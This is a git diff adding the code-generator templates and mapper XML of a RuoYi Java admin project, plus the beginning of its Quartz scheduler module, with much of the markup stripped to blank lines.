a/ruoyi-generator/src/main/resources/mapper/generator/GenTableColumnMapper.xml b/ruoyi-generator/src/main/resources/mapper/generator/GenTableColumnMapper.xml new file mode 100644 index 0000000..66109de --- /dev/null +++ b/ruoyi-generator/src/main/resources/mapper/generator/GenTableColumnMapper.xml @@ -0,0 +1,127 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select column_id, table_id, column_name, column_comment, column_type, java_type, java_field, is_pk, is_increment, is_required, is_insert, is_edit, is_list, is_query, query_type, html_type, dict_type, sort, create_by, create_time, update_by, update_time from gen_table_column + + + + + + + + insert into gen_table_column ( + table_id, + column_name, + column_comment, + column_type, + java_type, + java_field, + is_pk, + is_increment, + is_required, + is_insert, + is_edit, + is_list, + is_query, + query_type, + html_type, + dict_type, + sort, + create_by, + create_time + )values( + #{tableId}, + #{columnName}, + #{columnComment}, + #{columnType}, + #{javaType}, + #{javaField}, + #{isPk}, + #{isIncrement}, + #{isRequired}, + #{isInsert}, + #{isEdit}, + #{isList}, + #{isQuery}, + #{queryType}, + #{htmlType}, + #{dictType}, + #{sort}, + #{createBy}, + sysdate() + ) + + + + update gen_table_column + + column_comment = #{columnComment}, + java_type = #{javaType}, + java_field = #{javaField}, + is_insert = #{isInsert}, + is_edit = #{isEdit}, + is_list = #{isList}, + is_query = #{isQuery}, + is_required = #{isRequired}, + query_type = #{queryType}, + html_type = #{htmlType}, + dict_type = #{dictType}, + sort = #{sort}, + update_by = #{updateBy}, + update_time = sysdate() + + where column_id = #{columnId} + + + + delete from gen_table_column where table_id in + + #{tableId} + + + + + delete from gen_table_column where column_id in + + #{item.columnId} + + + + \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml b/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml new file mode 100644 index 0000000..b605e90 --- /dev/null +++ b/ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml @@ -0,0 +1,202 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select table_id, table_name, table_comment, sub_table_name, sub_table_fk_name, class_name, tpl_category, package_name, module_name, business_name, function_name, function_author, gen_type, gen_path, options, create_by, create_time, update_by, update_time, remark from gen_table + + + + + + + + + + + + + + + + + + insert into gen_table ( + table_name, + table_comment, + class_name, + tpl_category, + package_name, + module_name, + business_name, + function_name, + function_author, + gen_type, + gen_path, + remark, + create_by, + create_time + )values( + #{tableName}, + #{tableComment}, + #{className}, + #{tplCategory}, + #{packageName}, + #{moduleName}, + #{businessName}, + #{functionName}, + #{functionAuthor}, + #{genType}, + #{genPath}, + #{remark}, + #{createBy}, + sysdate() + ) + + + + update gen_table + + table_name = #{tableName}, + table_comment = #{tableComment}, + sub_table_name = #{subTableName}, + sub_table_fk_name = #{subTableFkName}, + class_name = #{className}, + function_author = #{functionAuthor}, + gen_type = #{genType}, + gen_path = #{genPath}, + tpl_category = #{tplCategory}, + package_name = #{packageName}, + module_name = #{moduleName}, + business_name = #{businessName}, + function_name = #{functionName}, + options = #{options}, + update_by = #{updateBy}, + remark = #{remark}, + update_time = sysdate() + + where table_id = #{tableId} + + + + delete from gen_table where table_id in + + #{tableId} + + + + \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/vm/java/controller.java.vm b/ruoyi-generator/src/main/resources/vm/java/controller.java.vm new file mode 100644 index 0000000..bf88988 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/java/controller.java.vm @@ -0,0 +1,115 @@ +package ${packageName}.controller; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import ${packageName}.domain.${ClassName}; +import ${packageName}.service.I${ClassName}Service; +import com.ruoyi.common.utils.poi.ExcelUtil; +#if($table.crud || $table.sub) +import com.ruoyi.common.core.page.TableDataInfo; +#elseif($table.tree) +#end + +/** + * ${functionName}Controller + * + * @author ${author} + * @date ${datetime} + */ +@RestController +@RequestMapping("/${moduleName}/${businessName}") +public class ${ClassName}Controller extends BaseController +{ + @Autowired + private I${ClassName}Service ${className}Service; + + /** + * 查询${functionName}列表 + */ + @PreAuthorize("@ss.hasPermi('${permissionPrefix}:list')") + @GetMapping("/list") +#if($table.crud || $table.sub) + public TableDataInfo list(${ClassName} ${className}) + { + startPage(); + List<${ClassName}> list = ${className}Service.select${ClassName}List(${className}); + return getDataTable(list); + } +#elseif($table.tree) + public AjaxResult list(${ClassName} ${className}) + { + List<${ClassName}> list = ${className}Service.select${ClassName}List(${className}); + return success(list); + } +#end + + /** + * 导出${functionName}列表 + */ + @PreAuthorize("@ss.hasPermi('${permissionPrefix}:export')") + @Log(title = "${functionName}", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, ${ClassName} ${className}) + { + List<${ClassName}> list = ${className}Service.select${ClassName}List(${className}); + ExcelUtil<${ClassName}> util = new ExcelUtil<${ClassName}>(${ClassName}.class); + util.exportExcel(response, list, "${functionName}数据"); + } + + /** + * 获取${functionName}详细信息 + */ + @PreAuthorize("@ss.hasPermi('${permissionPrefix}:query')") + @GetMapping(value = "/{${pkColumn.javaField}}") + public AjaxResult getInfo(@PathVariable("${pkColumn.javaField}") ${pkColumn.javaType} ${pkColumn.javaField}) + { + return success(${className}Service.select${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaField})); + } + + /** + * 新增${functionName} + */ + @PreAuthorize("@ss.hasPermi('${permissionPrefix}:add')") + @Log(title = "${functionName}", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody ${ClassName} ${className}) + { + return toAjax(${className}Service.insert${ClassName}(${className})); + } + + /** + * 修改${functionName} + */ + @PreAuthorize("@ss.hasPermi('${permissionPrefix}:edit')") + @Log(title = "${functionName}", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody ${ClassName} ${className}) + { + return toAjax(${className}Service.update${ClassName}(${className})); + } + + /** + * 删除${functionName} + */ + @PreAuthorize("@ss.hasPermi('${permissionPrefix}:remove')") + @Log(title = "${functionName}", businessType = BusinessType.DELETE) + @DeleteMapping("/{${pkColumn.javaField}s}") + public AjaxResult remove(@PathVariable ${pkColumn.javaType}[] ${pkColumn.javaField}s) + { + return toAjax(${className}Service.delete${ClassName}By${pkColumn.capJavaField}s(${pkColumn.javaField}s)); + } +} diff --git a/ruoyi-generator/src/main/resources/vm/java/domain.java.vm b/ruoyi-generator/src/main/resources/vm/java/domain.java.vm new file mode 100644 index 0000000..15404c1 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/java/domain.java.vm @@ -0,0 +1,55 @@ +package ${packageName}.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +#foreach ($import in $importList) +import ${import}; +#end +#if($table.crud || $table.sub) +import com.ruoyi.common.core.domain.BaseEntity; +#elseif($table.tree) +import com.ruoyi.common.core.domain.TreeEntity; +#end + +/** + * ${functionName}对象 ${tableName} + * + * @author ${author} + * @date ${datetime} + */ +#if($table.crud || $table.sub) + #set($Entity="BaseEntity") +#elseif($table.tree) + #set($Entity="TreeEntity<${ClassName}>") +#end +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("${tableName}") +public class ${ClassName} extends ${Entity} { + +private static final long serialVersionUID=1L; + +#foreach ($column in $columns) + #if(!$table.isSuperColumn($column.javaField)) + /** + * $column.columnComment + */ + #if($column.javaField=='delFlag') + @TableLogic + #end + #if($column.javaField=='version') + @Version + #end + #if($column.pk) + @TableId(value = "$column.columnName",type = IdType.AUTO) + #end + private $column.javaType $column.javaField; + #end +#end + +} diff --git a/ruoyi-generator/src/main/resources/vm/java/mapper.java.vm b/ruoyi-generator/src/main/resources/vm/java/mapper.java.vm new file mode 100644 index 0000000..4a64915 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/java/mapper.java.vm @@ -0,0 +1,91 @@ +package ${packageName}.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import ${packageName}.domain.${ClassName}; +#if($table.sub) +import ${packageName}.domain.${subClassName}; +#end + +/** + * ${functionName}Mapper接口 + * + * @author ${author} + * @date ${datetime} + */ +public interface ${ClassName}Mapper extends BaseMapper<${ClassName}> +{ + /** + * 查询${functionName} + * + * @param ${pkColumn.javaField} ${functionName}主键 + * @return ${functionName} + */ + public ${ClassName} select${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaType} ${pkColumn.javaField}); + + /** + * 查询${functionName}列表 + * + * @param ${className} ${functionName} + * @return ${functionName}集合 + */ + public List<${ClassName}> select${ClassName}List(${ClassName} ${className}); + + /** + * 新增${functionName} + * + * @param ${className} ${functionName} + * @return 结果 + */ + public int insert${ClassName}(${ClassName} ${className}); + + /** + * 修改${functionName} + * + * @param ${className} ${functionName} + * @return 结果 + */ + public int update${ClassName}(${ClassName} ${className}); + + /** + * 删除${functionName} + * + * @param ${pkColumn.javaField} ${functionName}主键 + * @return 结果 + */ + public int delete${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaType} ${pkColumn.javaField}); + + /** + * 批量删除${functionName} + * + * @param ${pkColumn.javaField}s 需要删除的数据主键集合 + * @return 结果 + */ + public int delete${ClassName}By${pkColumn.capJavaField}s(${pkColumn.javaType}[] ${pkColumn.javaField}s); +#if($table.sub) + + /** + * 批量删除${subTable.functionName} + * + * @param ${pkColumn.javaField}s 需要删除的数据主键集合 + * @return 结果 + */ + public int delete${subClassName}By${subTableFkClassName}s(${pkColumn.javaType}[] ${pkColumn.javaField}s); + + /** + * 批量新增${subTable.functionName} + * + * @param ${subclassName}List ${subTable.functionName}列表 + * @return 结果 + */ + public int batch${subClassName}(List<${subClassName}> ${subclassName}List); + + + /** + * 通过${functionName}主键删除${subTable.functionName}信息 + * + * @param ${pkColumn.javaField} ${functionName}ID + * @return 结果 + */ + public int delete${subClassName}By${subTableFkClassName}(${pkColumn.javaType} ${pkColumn.javaField}); +#end +} diff --git a/ruoyi-generator/src/main/resources/vm/java/service.java.vm b/ruoyi-generator/src/main/resources/vm/java/service.java.vm new file mode 100644 index 0000000..7c21304 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/java/service.java.vm @@ -0,0 +1,62 @@ +package ${packageName}.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import ${packageName}.domain.${ClassName}; + +/** + * ${functionName}Service接口 + * + * @author ${author} + * @date ${datetime} + */ +public interface I${ClassName}Service extends IService<${ClassName}> +{ + /** + * 查询${functionName} + * + * @param ${pkColumn.javaField} ${functionName}主键 + * @return ${functionName} + */ + public ${ClassName} select${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaType} ${pkColumn.javaField}); + + /** + * 查询${functionName}列表 + * + * @param ${className} ${functionName} + * @return ${functionName}集合 + */ + public List<${ClassName}> select${ClassName}List(${ClassName} ${className}); + + /** + * 新增${functionName} + * + * @param ${className} ${functionName} + * @return 结果 + */ + public int insert${ClassName}(${ClassName} ${className}); + + /** + * 修改${functionName} + * + * @param ${className} ${functionName} + * @return 结果 + */ + public int update${ClassName}(${ClassName} ${className}); + + /** + * 批量删除${functionName} + * + * @param ${pkColumn.javaField}s 需要删除的${functionName}主键集合 + * @return 结果 + */ + public int delete${ClassName}By${pkColumn.capJavaField}s(${pkColumn.javaType}[] ${pkColumn.javaField}s); + + /** + * 删除${functionName}信息 + * + * @param ${pkColumn.javaField} ${functionName}主键 + * @return 结果 + */ + public int delete${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaType} ${pkColumn.javaField}); +} diff --git a/ruoyi-generator/src/main/resources/vm/java/serviceImpl.java.vm b/ruoyi-generator/src/main/resources/vm/java/serviceImpl.java.vm new file mode 100644 index 0000000..ad87830 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/java/serviceImpl.java.vm @@ -0,0 +1,169 @@ +package ${packageName}.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +#foreach ($column in $columns) +#if($column.javaField == 'createTime' || $column.javaField == 'updateTime') +import com.ruoyi.common.utils.DateUtils; +#break +#end +#end +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +#if($table.sub) +import java.util.ArrayList; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.transaction.annotation.Transactional; +import ${packageName}.domain.${subClassName}; +#end +import ${packageName}.mapper.${ClassName}Mapper; +import ${packageName}.domain.${ClassName}; +import ${packageName}.service.I${ClassName}Service; + +/** + * ${functionName}Service业务层处理 + * + * @author ${author} + * @date ${datetime} + */ +@Service +public class ${ClassName}ServiceImpl extends ServiceImpl<${ClassName}Mapper,${ClassName}> implements I${ClassName}Service +{ + @Autowired + private ${ClassName}Mapper ${className}Mapper; + + /** + * 查询${functionName} + * + * @param ${pkColumn.javaField} ${functionName}主键 + * @return ${functionName} + */ + @Override + public ${ClassName} select${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaType} ${pkColumn.javaField}) + { + return ${className}Mapper.select${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaField}); + } + + /** + * 查询${functionName}列表 + * + * @param ${className} ${functionName} + * @return ${functionName} + */ + @Override + public List<${ClassName}> select${ClassName}List(${ClassName} ${className}) + { + return ${className}Mapper.select${ClassName}List(${className}); + } + + /** + * 新增${functionName} + * + * @param ${className} ${functionName} + * @return 结果 + */ +#if($table.sub) + @Transactional +#end + @Override + public int insert${ClassName}(${ClassName} ${className}) + { +#foreach ($column in $columns) +#if($column.javaField == 'createTime') + ${className}.setCreateTime(DateUtils.getNowDate()); +#end +#end +#if($table.sub) + int rows = ${className}Mapper.insert${ClassName}(${className}); + insert${subClassName}(${className}); + return rows; +#else + return ${className}Mapper.insert${ClassName}(${className}); +#end + } + + /** + * 修改${functionName} + * + * @param ${className} ${functionName} + * @return 结果 + */ +#if($table.sub) + @Transactional +#end + @Override + public int update${ClassName}(${ClassName} ${className}) + { +#foreach ($column in $columns) +#if($column.javaField == 'updateTime') + ${className}.setUpdateTime(DateUtils.getNowDate()); +#end +#end +#if($table.sub) + ${className}Mapper.delete${subClassName}By${subTableFkClassName}(${className}.get${pkColumn.capJavaField}()); + insert${subClassName}(${className}); +#end + return ${className}Mapper.update${ClassName}(${className}); + } + + /** + * 批量删除${functionName} + * + * @param ${pkColumn.javaField}s 需要删除的${functionName}主键 + * @return 结果 + */ +#if($table.sub) + @Transactional +#end + @Override + public int delete${ClassName}By${pkColumn.capJavaField}s(${pkColumn.javaType}[] ${pkColumn.javaField}s) + { +#if($table.sub) + ${className}Mapper.delete${subClassName}By${subTableFkClassName}s(${pkColumn.javaField}s); +#end + return ${className}Mapper.delete${ClassName}By${pkColumn.capJavaField}s(${pkColumn.javaField}s); + } + + /** + * 删除${functionName}信息 + * + * @param ${pkColumn.javaField} ${functionName}主键 + * @return 结果 + */ +#if($table.sub) + @Transactional +#end + @Override + public int delete${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaType} ${pkColumn.javaField}) + { +#if($table.sub) + ${className}Mapper.delete${subClassName}By${subTableFkClassName}(${pkColumn.javaField}); +#end + return ${className}Mapper.delete${ClassName}By${pkColumn.capJavaField}(${pkColumn.javaField}); + } +#if($table.sub) + + /** + * 新增${subTable.functionName}信息 + * + * @param ${className} ${functionName}对象 + */ + public void insert${subClassName}(${ClassName} ${className}) + { + List<${subClassName}> ${subclassName}List = ${className}.get${subClassName}List(); + ${pkColumn.javaType} ${pkColumn.javaField} = ${className}.get${pkColumn.capJavaField}(); + if (StringUtils.isNotNull(${subclassName}List)) + { + List<${subClassName}> list = new ArrayList<${subClassName}>(); + for (${subClassName} ${subclassName} : ${subclassName}List) + { + ${subclassName}.set${subTableFkClassName}(${pkColumn.javaField}); + list.add(${subclassName}); + } + if (list.size() > 0) + { + ${className}Mapper.batch${subClassName}(list); + } + } + } +#end +} diff --git a/ruoyi-generator/src/main/resources/vm/java/sub-domain.java.vm b/ruoyi-generator/src/main/resources/vm/java/sub-domain.java.vm new file mode 100644 index 0000000..a3f53eb --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/java/sub-domain.java.vm @@ -0,0 +1,76 @@ +package ${packageName}.domain; + +#foreach ($import in $subImportList) +import ${import}; +#end +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * ${subTable.functionName}对象 ${subTableName} + * + * @author ${author} + * @date ${datetime} + */ +public class ${subClassName} extends BaseEntity +{ + private static final long serialVersionUID = 1L; + +#foreach ($column in $subTable.columns) +#if(!$table.isSuperColumn($column.javaField)) + /** $column.columnComment */ +#if($column.list) +#set($parentheseIndex=$column.columnComment.indexOf("(")) +#if($parentheseIndex != -1) +#set($comment=$column.columnComment.substring(0, $parentheseIndex)) +#else +#set($comment=$column.columnComment) +#end +#if($parentheseIndex != -1) + @Excel(name = "${comment}", readConverterExp = "$column.readConverterExp()") +#elseif($column.javaType == 'Date') + @JsonFormat(pattern = "yyyy-MM-dd") + @Excel(name = "${comment}", width = 30, dateFormat = "yyyy-MM-dd") +#else + @Excel(name = "${comment}") +#end +#end + private $column.javaType $column.javaField; + +#end +#end +#foreach ($column in $subTable.columns) +#if(!$table.isSuperColumn($column.javaField)) +#if($column.javaField.length() > 2 && $column.javaField.substring(1,2).matches("[A-Z]")) +#set($AttrName=$column.javaField) +#else +#set($AttrName=$column.javaField.substring(0,1).toUpperCase() + ${column.javaField.substring(1)}) +#end + public void set${AttrName}($column.javaType $column.javaField) + { + this.$column.javaField = $column.javaField; + } + + public $column.javaType get${AttrName}() + { + return $column.javaField; + } +#end +#end + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) +#foreach ($column in $subTable.columns) +#if($column.javaField.length() > 2 && $column.javaField.substring(1,2).matches("[A-Z]")) +#set($AttrName=$column.javaField) +#else +#set($AttrName=$column.javaField.substring(0,1).toUpperCase() + ${column.javaField.substring(1)}) +#end + .append("${column.javaField}", get${AttrName}()) +#end + .toString(); + } +} diff --git a/ruoyi-generator/src/main/resources/vm/js/api.js.vm b/ruoyi-generator/src/main/resources/vm/js/api.js.vm new file mode 100644 index 0000000..9295524 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/js/api.js.vm @@ -0,0 +1,44 @@ +import request from '@/utils/request' + +// 查询${functionName}列表 +export function list${BusinessName}(query) { + return request({ + url: '/${moduleName}/${businessName}/list', + method: 'get', + params: query + }) +} + +// 查询${functionName}详细 +export function get${BusinessName}(${pkColumn.javaField}) { + return request({ + url: '/${moduleName}/${businessName}/' + ${pkColumn.javaField}, + method: 'get' + }) +} + +// 新增${functionName} +export function add${BusinessName}(data) { + return request({ + url: '/${moduleName}/${businessName}', + method: 'post', + data: data + }) +} + +// 修改${functionName} +export function update${BusinessName}(data) { + return request({ + url: '/${moduleName}/${businessName}', + method: 'put', + data: data + }) +} + +// 删除${functionName} +export function del${BusinessName}(${pkColumn.javaField}) { + return request({ + url: '/${moduleName}/${businessName}/' + ${pkColumn.javaField}, + method: 'delete' + }) +} diff --git a/ruoyi-generator/src/main/resources/vm/sql/sql.vm b/ruoyi-generator/src/main/resources/vm/sql/sql.vm new file mode 100644 index 0000000..0575583 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/sql/sql.vm @@ -0,0 +1,22 @@ +-- 菜单 SQL +insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) +values('${functionName}', '${parentMenuId}', '1', '${businessName}', '${moduleName}/${businessName}/index', 1, 0, 'C', '0', '0', '${permissionPrefix}:list', '#', 'admin', sysdate(), '', null, '${functionName}菜单'); + +-- 按钮父菜单ID +SELECT @parentId := LAST_INSERT_ID(); + +-- 按钮 SQL +insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) +values('${functionName}查询', @parentId, '1', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:query', '#', 'admin', sysdate(), '', null, ''); + +insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) +values('${functionName}新增', @parentId, '2', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:add', '#', 'admin', sysdate(), '', null, ''); + +insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) +values('${functionName}修改', @parentId, '3', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:edit', '#', 'admin', sysdate(), '', null, ''); + +insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) +values('${functionName}删除', @parentId, '4', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:remove', '#', 'admin', sysdate(), '', null, ''); + +insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) +values('${functionName}导出', @parentId, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:export', '#', 'admin', sysdate(), '', null, ''); \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/vm/vue/index-tree.vue.vm b/ruoyi-generator/src/main/resources/vm/vue/index-tree.vue.vm new file mode 100644 index 0000000..a4c64a0 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/vue/index-tree.vue.vm @@ -0,0 +1,505 @@ + + + diff --git a/ruoyi-generator/src/main/resources/vm/vue/index.vue.vm b/ruoyi-generator/src/main/resources/vm/vue/index.vue.vm new file mode 100644 index 0000000..6296014 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/vue/index.vue.vm @@ -0,0 +1,602 @@ + + + diff --git a/ruoyi-generator/src/main/resources/vm/vue/v3/index-tree.vue.vm b/ruoyi-generator/src/main/resources/vm/vue/v3/index-tree.vue.vm new file mode 100644 index 0000000..7bbd2fc --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/vue/v3/index-tree.vue.vm @@ -0,0 +1,474 @@ + + + diff --git a/ruoyi-generator/src/main/resources/vm/vue/v3/index.vue.vm b/ruoyi-generator/src/main/resources/vm/vue/v3/index.vue.vm new file mode 100644 index 0000000..8b25665 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/vue/v3/index.vue.vm @@ -0,0 +1,590 @@ + + + diff --git a/ruoyi-generator/src/main/resources/vm/vue/v3/readme.txt b/ruoyi-generator/src/main/resources/vm/vue/v3/readme.txt new file mode 100644 index 0000000..99239bb --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/vue/v3/readme.txt @@ -0,0 +1 @@ +ʹõRuoYi-Vue3ǰˣôҪһ´Ŀ¼ģindex.vue.vmindex-tree.vue.vmļϼvueĿ¼ \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/vm/xml/mapper.xml.vm b/ruoyi-generator/src/main/resources/vm/xml/mapper.xml.vm new file mode 100644 index 0000000..0ceb3d8 --- /dev/null +++ b/ruoyi-generator/src/main/resources/vm/xml/mapper.xml.vm @@ -0,0 +1,135 @@ + + + + + +#foreach ($column in $columns) + +#end + +#if($table.sub) + + + + + + +#foreach ($column in $subTable.columns) + +#end + +#end + + + select#foreach($column in $columns) $column.columnName#if($foreach.count != $columns.size()),#end#end from ${tableName} + + + + + + + + insert into ${tableName} + +#foreach($column in $columns) +#if($column.columnName != $pkColumn.columnName || !$pkColumn.increment) + $column.columnName, +#end +#end + + +#foreach($column in $columns) +#if($column.columnName != $pkColumn.columnName || !$pkColumn.increment) + #{$column.javaField}, +#end +#end + + + + + update ${tableName} + +#foreach($column in $columns) +#if($column.columnName != $pkColumn.columnName) + $column.columnName = #{$column.javaField}, +#end +#end + + where ${pkColumn.columnName} = #{${pkColumn.javaField}} + + + + delete from ${tableName} where ${pkColumn.columnName} = #{${pkColumn.javaField}} + + + + delete from ${tableName} where ${pkColumn.columnName} in + + #{${pkColumn.javaField}} + + +#if($table.sub) + + + delete from ${subTableName} where ${subTableFkName} in + + #{${subTableFkclassName}} + + + + + delete from ${subTableName} where ${subTableFkName} = #{${subTableFkclassName}} + + + + insert into ${subTableName}(#foreach($column in $subTable.columns) $column.columnName#if($foreach.count != $subTable.columns.size()),#end#end) values + + (#foreach($column in $subTable.columns) #{item.$column.javaField}#if($foreach.count != $subTable.columns.size()),#end#end) + + +#end + \ No newline at end of file diff --git a/ruoyi-quartz/pom.xml b/ruoyi-quartz/pom.xml new file mode 100644 index 0000000..5c7b9f4 --- /dev/null +++ b/ruoyi-quartz/pom.xml @@ -0,0 +1,44 @@ + + + + ruoyi + com.ruoyi + 3.8.5 + + 4.0.0 + + ruoyi-quartz + + + quartz定时任务 + + + + + + + org.quartz-scheduler + quartz + + + com.mchange + c3p0 + + + + + + + com.ruoyi + ruoyi-common + + + com.ruoyi + ruoyi-system + + + + + \ No newline at end of file diff --git a/ruoyi-quartz/ruoyi-quartz.iml b/ruoyi-quartz/ruoyi-quartz.iml new file mode 100644 index 0000000..1183f4b --- /dev/null +++ b/ruoyi-quartz/ruoyi-quartz.iml @@ -0,0 +1,281 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/config/ScheduleConfig.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/config/ScheduleConfig.java new file mode 100644 index 0000000..a558170 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/config/ScheduleConfig.java @@ -0,0 +1,57 @@ +//package com.ruoyi.quartz.config; +// +//import org.springframework.context.annotation.Bean; +//import org.springframework.context.annotation.Configuration; +//import org.springframework.scheduling.quartz.SchedulerFactoryBean; +//import javax.sql.DataSource; +//import java.util.Properties; +// +///** +// * 定时任务配置(单机部署建议删除此类和qrtz数据库表,默认走内存会最高效) +// * +// * @author ruoyi +// */ +//@Configuration +//public class ScheduleConfig +//{ +// @Bean +// public SchedulerFactoryBean schedulerFactoryBean(DataSource dataSource) +// { +// SchedulerFactoryBean factory = new SchedulerFactoryBean(); +// factory.setDataSource(dataSource); +// +// // quartz参数 +// Properties prop = new Properties(); +// prop.put("org.quartz.scheduler.instanceName", "RuoyiScheduler"); +// prop.put("org.quartz.scheduler.instanceId", "AUTO"); +// // 线程池配置 +// prop.put("org.quartz.threadPool.class", "org.quartz.simpl.SimpleThreadPool"); +// prop.put("org.quartz.threadPool.threadCount", "20"); +// prop.put("org.quartz.threadPool.threadPriority", "5"); +// // JobStore配置 +// prop.put("org.quartz.jobStore.class", "org.springframework.scheduling.quartz.LocalDataSourceJobStore"); +// // 集群配置 +// prop.put("org.quartz.jobStore.isClustered", "true"); +// prop.put("org.quartz.jobStore.clusterCheckinInterval", "15000"); +// prop.put("org.quartz.jobStore.maxMisfiresToHandleAtATime", "1"); +// prop.put("org.quartz.jobStore.txIsolationLevelSerializable", "true"); +// +// // sqlserver 启用 +// // prop.put("org.quartz.jobStore.selectWithLockSQL", "SELECT * FROM {0}LOCKS UPDLOCK WHERE LOCK_NAME = ?"); +// prop.put("org.quartz.jobStore.misfireThreshold", "12000"); +// prop.put("org.quartz.jobStore.tablePrefix", "QRTZ_"); +// factory.setQuartzProperties(prop); +// +// factory.setSchedulerName("RuoyiScheduler"); +// // 延时启动 +// factory.setStartupDelay(1); +// factory.setApplicationContextSchedulerContextKey("applicationContextKey"); +// // 可选,QuartzScheduler +// // 启动时更新己存在的Job,这样就不用每次修改targetObject后删除qrtz_job_details表对应记录了 +// factory.setOverwriteExistingJobs(true); +// // 设置自动启动,默认为true +// factory.setAutoStartup(true); +// +// return factory; +// } +//} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobController.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobController.java new file mode 100644 index 0000000..139361b --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobController.java @@ -0,0 +1,185 @@ +package com.ruoyi.quartz.controller; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.quartz.SchedulerException; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import 